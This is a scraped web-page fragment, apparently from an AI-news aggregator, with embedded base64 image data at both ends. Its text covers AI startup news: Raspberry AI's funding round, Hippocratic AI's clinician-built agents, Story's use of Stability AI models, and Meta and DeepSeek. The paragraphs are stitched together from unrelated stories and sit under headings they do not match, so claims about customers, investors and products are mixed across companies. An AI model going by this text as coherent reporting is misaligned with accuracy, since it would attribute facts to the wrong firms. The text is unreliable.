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" width="303px" alt="a16z generative ai"/></p>
<p><p>Once the AI agent is up and running, the clinicians who created it will be able to claim a share of the revenue it generates from the startup’s customers. Currently the technology is being used by Under Armour, MCM Worldwide, Gruppo Teddy and Li &amp; Fung to create and iterate apparel, footwear and accessories styles. The company’s existing investors Greycroft, Correlation Ventures and MVP Ventures also joined in the round, along with notable angel investors, including Gokul Rajaram and Ken Pilot. Clearly, even as he espouses a commitment to open source AI, Zuck is not convinced that DeepSeek’s approach of optimizing for efficiency while leveraging far fewer GPUs than major labs is the right one for Meta, or for the future of AI.</p>
</p>
<p><h2>Raspberry AI secures 24 million US dollars in funding round</h2>
</p>
<p><p>Story is the world’s intellectual property blockchain, transforming IP into networks that transcend mediums and platforms, unleashing global creativity and liquidity. By integrating Stability AI’s advanced models, Story is taking a significant step toward building a fair and sustainable internet for creators and developers in the age of generative AI. Hippocratic AI said it’s necessary to have clinicians onboard because they have, over the course of their careers, developed deep expertise in their respective fields, as well as the practical insights to help cure specific medical conditions and the clinical workflows involved.</p>
</p>
<p><h3>Investing in Raspberry AI &#8211; Andreessen Horowitz</h3>
<p>Investing in Raspberry AI.</p>
<p>Posted: Mon, 13 Jan 2025 08:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMiZ0FVX3lxTE1wRXhnSzlxU0FQNG9oS0FUb25LZ0Z3cHJTbzVDSUVSTnNkckNrTGFnU1UxOHY5dlRNd3lOZ3FaaFBqSUczNjdjdVN6RGY0blNEZW8tbFVyYlRFWDN4ZmFsMngyM0FuTzg?oc=5' rel="nofollow">source</a>]</p>
</p>
<p><p>Story aims  to bridge this gap by combining Stability AI’s cutting-edge technology with blockchain’s ability to secure digital property rights. For example, creators could register unique styles or voices as intellectual property on Story with transparent usage terms. This would enable others to train and fine-tune AI models using this IP, ensuring that all contributors in the creative chain benefit when outputs are monetized.</p>
</p>
<p><h2>One click below supports our mission to provide free, deep, and relevant content.</h2>
</p>
<p><p>Holger Mueller of Constellation Research Inc. said Hippocratic AI  is bringing two of the leading technology trends to the healthcare industry, namely no-code or low-code software development and AI agents. The launch is a bold step forward in healthcare innovation, giving clinicians the opportunity to participate in the design of AI agents that can address various aspects of patient care. It says clinicians can create an AI agent prototype that specializes in their area of focus in less than 30 minutes, and around three to four hours to develop one that can be tested. Shah said the last nine months since the company’s previous $50 million funding round have seen it make tremendous progress. During that time, it has received its first U.S. patents, fully evaluated and verified the safety of its first AI healthcare agents, and signed contracts with 23 health systems, payers and pharma clients.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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